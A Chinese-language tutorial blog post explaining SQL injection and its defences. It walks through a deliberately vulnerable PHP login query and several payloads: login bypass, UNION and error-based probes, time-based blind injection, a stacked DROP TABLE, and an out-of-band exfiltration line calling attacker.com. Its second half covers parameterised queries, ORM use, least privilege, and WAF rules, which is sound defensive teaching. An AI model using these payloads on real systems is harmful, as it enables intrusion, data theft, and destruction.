SQL 注入攻擊全解析:從入門到防禦實戰指南

Published February 3, 2025 by 徐培鈞
資料庫

當你在網站登入框輸入帳號密碼時,有沒有想過駭客可能用「' OR 1=1 --」這種神秘代碼直接突破防線?

這就是臭名昭著的 SQL 注入攻擊,至今仍位居 OWASP Top 10 網路安全威脅榜首。

本文將以新手角度,帶你親歷駭客攻擊思維,並掌握關鍵防禦技術,從此寫出「防彈級」資料庫程式碼。


SQL 注入攻擊原理剖析

什麼是 SQL 注入?

透過在輸入欄位插入惡意 SQL 代碼,欺騙資料庫執行非預期指令的攻擊手法。

就像給資料庫工程師戴上「催眠眼鏡」,讓其執行任意命令。

經典攻擊流程

使用者輸入  未經處理拼接 SQL  資料庫執行惡意指令  數據洩露/系統控制

漏洞程式碼實例

// 危險的 SQL 拼接方式

$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

// 當輸入 username = ' OR 1=1 -- 時,SQL 變成:

// SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''

逐步解析攻擊原理

原始程式碼(存在漏洞):

SELECT * FROM users 
WHERE username='[使用者輸入]' AND password='[使用者輸入]'

攻擊者輸入:

Username 欄位輸入:' OR 1=1 --
Password 欄位任意輸入(例如:123)

最終組成的 SQL 語句:

SELECT * FROM users 
WHERE username='' OR 1=1 --' AND password='123'

步驟 1:單引號閉合('

  • 攻擊輸入'
  • 效果
    閉合原本的 username='[輸入]' 結構中的前引號,使 SQL 語法進入「可插入代碼」的狀態。

步驟 2:注入永遠成立條件(OR 1=1

  • 攻擊輸入OR 1=1
  • 效果
    1=1 在 SQL 中永遠為真,因此條件變成:
    username='' OR true無條件成立
    此時查詢會返回 users 表中所有資料。

步驟 3:註釋符號截斷(--

  • 攻擊輸入--
  • 效果
    在 SQL 中 -- 是註解符號,會讓後方所有內容失效。
    原本的 AND password='123' 被註解掉,完全跳過密碼驗證

視覺化解析

原始查詢結構:
WHERE username='[輸入]' AND password='[輸入]'

攻擊後結構:
WHERE username='' OR 1=1 --' AND password='123'
            ↑        ↑        ↑
           閉合引號  注入條件  註解截斷

為什麼這樣就能登入成功?

關鍵機制

  1. 邏輯短路效應
    只要 OR 前後任一條件為真即成立,而 1=1 永遠為真,因此整個條件必成立。
  2. 資料庫行為
    此查詢會返回 users 表中所有用戶資料,若後端程式碼僅檢查「是否有查詢結果」(而非驗證是否唯一匹配),系統就會允許登入。
  3. 默認登入規則
    許多系統會取查詢結果的第一筆資料作為登入帳號,若資料表中第一個用戶是管理員,攻擊者便直接取得最高權限。

進階補充:不同資料庫的差異

註解符號#
攻擊語法範例' OR 1=1 #
注意事項需注意空格問題
註解符號--
攻擊語法範例' OR 1=1 --
注意事項通常需換行符號
註解符號--
攻擊語法範例' OR 1=1 --
注意事項與 SQL Server 類似
註解符號--
攻擊語法範例' OR 1=1 --
注意事項需注意語法相容性

實戰攻擊手法演示

基礎攻擊手法

這些是最常見的 SQL 注入手法,通常用來 繞過登入驗證、獲取資料庫資訊判斷系統是否存在 SQL 注入漏洞

輸入範例' OR 1=1 --
效果說明透過條件 1=1 始終為真,繞過密碼驗證登入帳戶。
輸入範例' UNION SELECT @@version --
效果說明使用 UNION 合併查詢,獲取資料庫版本資訊,確認 SQL 注入是否可行。
輸入範例' AND SLEEP(5) --
效果說明讓資料庫延遲回應 5 秒,透過回應時間判斷 SQL 語句是否成功執行。

解釋細節

登入繞過

假設一個網站的登入查詢如下:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

如果攻擊者在 密碼欄位 輸入:

' OR 1=1 --

最終 SQL 變成:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --';
  • OR 1=1 始終為真,所以條件被滿足,攻擊者能成功登入任意帳戶,甚至是管理員帳戶。
  • -- 是 SQL 註解符號,讓後面的原始密碼驗證邏輯失效。

查詢數據洩露

假設攻擊者在輸入欄位中輸入:

' UNION SELECT @@version --

如果應用程式沒有做好防護,SQL 變成:

SELECT * FROM users WHERE username = '' UNION SELECT @@version --';

這樣攻擊者就能透過網頁回應獲取 資料庫版本資訊,幫助他們進一步策劃更精細的攻擊。

盲注攻擊(時間型)

盲注(Blind SQL Injection) 是當網站不直接回應 SQL 執行結果時,攻擊者使用 SLEEP() 來測試是否存在 SQL 注入漏洞。例如輸入:

' AND SLEEP(5) --

使 SQL 查詢變成:

SELECT * FROM users WHERE username = '' AND SLEEP(5) --';

如果伺服器回應時間延遲 5 秒,則攻擊者可以判斷這段 SQL 成功執行,表示 網站可能存在 SQL 注入漏洞

進階攻擊手法

當攻擊者確認網站存在 SQL 注入漏洞後,他們可能會使用更高級的手法來執行惡意操作。

獲取資料表結構、刪除資料、甚至透過資料庫存取遠端伺服器

利用錯誤訊息洩露資料

有些 SQL 資料庫在執行錯誤時會回應詳細的錯誤訊息,攻擊者可以利用這些訊息來逐步獲取資料庫的架構。

例如:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
  • information_schema.tables 存放了所有資料表的名稱
  • SELECT TOP 1 table_name 取得第一個資料表的名稱。
  • CONVERT(int, ...) 嘗試將字串轉換成數字,導致 SQL 錯誤並顯示具體的資料表名稱。

如果伺服器回應錯誤,例如:

Conversion failed when converting the varchar value 'users' to data type int.

攻擊者便知道 資料庫內有一個名為 users 的資料表,可以進一步查詢其結構。

堆疊查詢攻擊(Stacked Query)

某些 SQL 伺服器允許一次執行 多條 SQL 指令,這可能導致攻擊者直接執行刪除、修改等破壞性操作。

例如,攻擊者輸入:

'; DROP TABLE users; --

導致 SQL 執行變成:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

這樣 users 資料表會被 完全刪除,導致所有使用者帳戶消失。

帶外數據傳輸(OOB Data Exfiltration)

在某些情況下,攻擊者可能無法透過網站直接取得資料,但可以讓資料庫 發送請求到外部伺服器,將資料傳輸出去。例如:

' UNION SELECT LOAD_FILE('\\\\attacker.com\\share\\data.txt') --

這段 SQL 會讓資料庫試圖讀取來自 attacker.com 伺服器的檔案,攻擊者可以監聽這些請求,並利用它們來獲取機密數據,例如:

  • 讀取伺服器內部檔案
  • 利用 DNS 請求將數據偷偷發送出去
  • 讓伺服器與攻擊者的機器建立連線(可能用來執行遠端攻擊)

防禦鐵三角:程式層防護

參數化查詢(最佳實踐)

參數化查詢 是防範 SQL 注入的最佳方法之一,它可以確保使用者輸入的數據不會被解釋為 SQL 指令。

這樣可以有效防止攻擊者透過特殊字符或惡意輸入來操控資料庫。

Python + SQLite 安全範例

import sqlite3

conn = sqlite3.connect('users.db')
user = request.form['username']  # 從用戶表單取得輸入

query = "SELECT * FROM users WHERE username = ?"
conn.execute(query, (user,))  # 使用問號 '?' 作為佔位符,確保自動處理特殊字符

在這個範例中,? 是一個佔位符,它會被 user 變數的值取代,而不會直接插入 SQL 語句中。

因此,無論使用者輸入什麼內容(如 ' OR 1=1 --),都只會被視為數據,而不會影響 SQL 語句的執行。

輸入過濾機制

輸入過濾機制 是在接受用戶輸入時,先過濾掉所有潛在的危險字符。

這可以防止不當的字符進入系統,減少 SQL 注入和其他類型的攻擊風險。

白名單驗證範例

// 只允許字母和數字
function sanitize(input) {
  return input.replace(/[^a-zA-Z0-9]/g, '');  // 移除所有非字母和數字的字符
}

在這個 JavaScript 範例中,sanitize 函數會過濾掉所有非字母和數字的字符。

這樣可以防止攻擊者插入惡意的 SQL 指令或腳本代碼。

使用 ORM 工具防護

ORM(物件關聯映射)工具 能夠自動處理數據庫查詢,並將 SQL 查詢轉換為安全的 API 操作。

大多數現代 ORM 都內建了防範 SQL 注入的功能。

Sequelize ORM 安全範例(Node.js)

// 使用 Sequelize ORM 來處理數據庫查詢
const users = await User.findAll({
  where: {
    username: req.body.username  // ORM 自動處理 SQL 注入風險
  }
});

在這個範例中,Sequelize 會自動轉換查詢,確保 username 的值不會被解釋為 SQL 語句的一部分。


系統層深度防禦

資料庫權限控制

即使攻擊者成功執行了 SQL 注入,他們的影響範圍也可以透過適當的資料庫權限控制來最小化。

應用程式應該只具有基本的 SELECTINSERT 權限,而不應擁有刪除(DROP)或執行(EXEC)等高風險操作的權限。

權限等級建議

  • 應用帳號:僅賦予 SELECTINSERT 權限
  • 連接帳號:禁止執行 DROPDELETEEXEC 等高風險操作
  • 錯誤訊息:自定義通用錯誤頁面,避免洩露資料庫內部結構

Web 應用防火牆(WAF)規則

Web 應用防火牆(WAF) 可以幫助阻擋常見的攻擊模式,尤其是自動化攻擊工具。

WAF 可以設置特定的規則來過濾惡意請求。

Nginx 防注入規則範例

location / {
  if ($args ~* "union.*select") {
    return 403;  // 阻擋包含 "union select" 的查詢參數
  }
  if ($request_body ~* "(\'|\%27)") {
    return 403;  // 阻擋請求中包含單引號的內容
  }
}

這些規則能夠檢查傳入的請求,如果發現疑似 SQL 注入的模式(如 UNION SELECT 或單引號 '),則返回 HTTP 403 錯誤碼,拒絕執行請求。

定期安全檢測

定期使用自動化工具來檢測網站的安全性是至關重要的。

這些工具可以模擬攻擊者的行為,幫助開發者識別並修復潛在的漏洞。

自動化工具推薦

  • SQLMap:通常用於模擬 SQL 注入攻擊,可以反過來用於檢測系統是否有 SQL 注入漏洞。
  • OWASP ZAP:開源的安全掃描工具,用於檢測常見的網頁應用漏洞。
  • Burp Suite:功能強大的安全測試套件,可以分析和改變網頁流量,檢測各種攻擊漏洞。

歷史重大案例警示

經典攻擊事件

  • 2009 年 Heartland 支付系統:攻擊者利用 SQL 注入竊取了 1.34 億張信用卡資料,公司最終支付了 1.1 億美元的和解金。
  • 2015 年 TalkTalk 電信公司:青少年駭客使用 SQL 注入攻擊,竊取了 15 萬客戶的個人資料,導致公司損失 6000 萬英鎊。

這些案例提醒我們,SQL 注入可以導致巨大的經濟損失和品牌聲譽的損害。

現代攻擊趨勢

隨著技術的進步,攻擊者也在不斷改進他們的手法:

  • NoSQL 注入:針對 MongoDB 和其他 NoSQL 資料庫的攻擊。
  • 二階注入(Second-Order Injection):攻擊者將惡意代碼儲存在系統中,等待特定條件觸發後才執行。
  • 自動化工具攻擊:利用 SQLMap 等工具自動掃描網站的 SQL 注入漏洞,進行大規模攻擊。

結語:建立安全程式設計思維

SQL 注入就像網路世界的「鎖匠犯罪」,只要開發者留下任何一道門縫,攻擊者就能長驅直入。

防禦的關鍵在於:

  1. 永遠不信任使用者輸入
  2. 採用參數化查詢取代字串拼接
  3. 實施多層次深度防禦

記住,安全不是功能而是責任。下次寫 SQL 查詢時,請把這句格言刻在腦海裡:

「字串拼接是魔鬼的契約,參數化查詢是天使的護盾」。

從今天起,讓你寫的每一行程式碼都成為駭客攻不破的鋼鐵長城!